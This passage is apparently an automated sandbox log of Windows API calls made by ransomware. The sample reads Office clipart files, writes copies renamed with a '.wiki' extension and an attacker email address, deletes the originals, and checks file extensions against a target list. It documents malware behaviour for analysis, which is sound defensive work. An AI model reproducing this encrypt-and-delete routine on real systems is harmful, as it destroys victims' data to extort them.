lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.051] GetLastError () returned 0x0 [0191.242] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xfcff, lpOverlapped=0x0) returned 1 [0191.287] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xfd00, lpOverlapped=0x0) returned 1 [0191.289] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.289] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.289] SetEndOfFile (hFile=0x218) returned 1 [0191.313] CloseHandle (hObject=0x218) returned 1 [0191.318] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.318] SetEndOfFile (hFile=0x1e0) returned 1 [0191.319] CloseHandle (hObject=0x1e0) returned 1 [0191.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0191.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.325] lstrlenW (lpString=".doc") returned 4 [0191.325] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.325] lstrlenW (lpString=".docx") returned 5 [0191.325] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0191.325] lstrlenW (lpString=".pdf") returned 4 [0191.325] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.325] lstrlenW (lpString=".xls") returned 4 [0191.325] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.325] lstrlenW (lpString=".xlsx") returned 5 [0191.325] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0191.325] lstrlenW (lpString=".ppt") returned 4 [0191.325] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.325] lstrlenW (lpString=".zip") returned 4 [0191.326] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.326] lstrlenW (lpString=".rar") returned 4 [0191.326] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.326] lstrlenW (lpString=".bz2") returned 4 [0191.326] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.326] lstrlenW (lpString=".7z") returned 3 [0191.326] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.326] lstrlenW (lpString=".dbf") returned 4 [0191.326] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.326] lstrlenW (lpString=".1cd") returned 4 [0191.326] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.326] lstrlenW (lpString=".jpg") returned 4 [0191.326] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.326] lstrlenW (lpString=".doc") returned 4 [0191.326] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.326] lstrlenW (lpString=".docx") returned 5 [0191.326] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0191.326] lstrlenW (lpString=".pdf") returned 4 [0191.326] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.326] lstrlenW (lpString=".xls") returned 4 [0191.326] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.326] lstrlenW (lpString=".xlsx") returned 5 [0191.326] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0191.326] lstrlenW (lpString=".ppt") returned 4 [0191.326] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.326] lstrlenW (lpString=".zip") returned 4 [0191.326] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.327] lstrlenW (lpString=".rar") returned 4 [0191.327] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.327] lstrlenW (lpString=".bz2") returned 4 [0191.327] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.327] lstrlenW (lpString=".7z") returned 3 [0191.327] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.327] lstrlenW (lpString=".dbf") returned 4 [0191.327] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.327] lstrlenW (lpString=".1cd") returned 4 [0191.327] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0191.327] lstrlenW (lpString=".jpg") returned 4 [0191.327] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.327] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.327] lstrlenW (lpString="J0099178.WMF") returned 12 [0191.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.331] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3606) returned 1 [0191.331] CloseHandle (hObject=0x1d8) returned 1 [0191.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0191.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.331] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.331] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.331] GetLastError () returned 0x0 [0191.331] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xe16, lpOverlapped=0x0) returned 1 [0191.352] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe20, lpOverlapped=0x0) returned 1 [0191.353] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.354] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.354] SetEndOfFile (hFile=0x218) returned 1 [0191.354] CloseHandle (hObject=0x218) returned 1 [0191.354] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.354] SetEndOfFile (hFile=0x1d8) returned 1 [0191.355] CloseHandle (hObject=0x1d8) returned 1 [0191.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0191.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.355] lstrlenW (lpString=".doc") returned 4 [0191.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.355] lstrlenW (lpString=".docx") returned 5 [0191.355] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0191.355] lstrlenW (lpString=".pdf") returned 4 [0191.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.355] lstrlenW (lpString=".xls") returned 4 [0191.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.355] lstrlenW (lpString=".xlsx") returned 5 [0191.355] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0191.355] lstrlenW (lpString=".ppt") returned 4 [0191.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.355] lstrlenW (lpString=".zip") returned 4 [0191.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.355] lstrlenW (lpString=".rar") returned 4 [0191.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString=".bz2") returned 4 [0191.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString=".7z") returned 3 [0191.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.356] lstrlenW (lpString=".dbf") returned 4 [0191.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.356] lstrlenW (lpString=".1cd") returned 4 [0191.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.356] lstrlenW (lpString=".jpg") returned 4 [0191.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.356] lstrlenW (lpString=".doc") returned 4 [0191.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString=".docx") returned 5 [0191.356] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0191.356] lstrlenW (lpString=".pdf") returned 4 [0191.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString=".xls") returned 4 [0191.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.356] lstrlenW (lpString=".xlsx") returned 5 [0191.356] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0191.356] lstrlenW (lpString=".ppt") returned 4 [0191.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.356] lstrlenW (lpString=".zip") returned 4 [0191.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.357] lstrlenW (lpString=".rar") returned 4 [0191.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.357] lstrlenW (lpString=".bz2") returned 4 [0191.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.357] lstrlenW (lpString=".7z") returned 3 [0191.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.357] lstrlenW (lpString=".dbf") returned 4 [0191.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.357] lstrlenW (lpString=".1cd") returned 4 [0191.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0191.357] lstrlenW (lpString=".jpg") returned 4 [0191.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.357] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.357] lstrlenW (lpString="J0099181.WMF") returned 12 [0191.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.358] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1198) returned 1 [0191.358] CloseHandle (hObject=0x1d8) returned 1 [0191.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0191.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.358] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.358] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.359] GetLastError () returned 0x0 [0191.359] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x4ae, lpOverlapped=0x0) returned 1 [0191.360] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0191.361] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.361] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.361] SetEndOfFile (hFile=0x218) returned 1 [0191.361] CloseHandle (hObject=0x218) returned 1 [0191.361] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.361] SetEndOfFile (hFile=0x1d8) returned 1 [0191.362] CloseHandle (hObject=0x1d8) returned 1 [0191.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0191.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.363] lstrlenW (lpString=".doc") returned 4 [0191.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString=".docx") returned 5 [0191.363] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0191.363] lstrlenW (lpString=".pdf") returned 4 [0191.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString=".xls") returned 4 [0191.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.363] lstrlenW (lpString=".xlsx") returned 5 [0191.363] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0191.363] lstrlenW (lpString=".ppt") returned 4 [0191.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.363] lstrlenW (lpString=".zip") returned 4 [0191.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.363] lstrlenW (lpString=".rar") returned 4 [0191.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString=".bz2") returned 4 [0191.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString=".7z") returned 3 [0191.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.363] lstrlenW (lpString=".dbf") returned 4 [0191.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.363] lstrlenW (lpString=".1cd") returned 4 [0191.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.364] lstrlenW (lpString=".jpg") returned 4 [0191.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.364] lstrlenW (lpString=".doc") returned 4 [0191.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString=".docx") returned 5 [0191.364] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0191.364] lstrlenW (lpString=".pdf") returned 4 [0191.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString=".xls") returned 4 [0191.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.364] lstrlenW (lpString=".xlsx") returned 5 [0191.364] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0191.364] lstrlenW (lpString=".ppt") returned 4 [0191.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.364] lstrlenW (lpString=".zip") returned 4 [0191.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.364] lstrlenW (lpString=".rar") returned 4 [0191.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString=".bz2") returned 4 [0191.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString=".7z") returned 3 [0191.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.364] lstrlenW (lpString=".dbf") returned 4 [0191.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.364] lstrlenW (lpString=".1cd") returned 4 [0191.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0191.365] lstrlenW (lpString=".jpg") returned 4 [0191.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.365] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.365] lstrlenW (lpString="J0099182.WMF") returned 12 [0191.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.365] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3840) returned 1 [0191.365] CloseHandle (hObject=0x1d8) returned 1 [0191.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0191.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.366] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.366] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0191.366] GetLastError () returned 0x0 [0191.366] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xf00, lpOverlapped=0x0) returned 1 [0191.395] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf10, lpOverlapped=0x0) returned 1 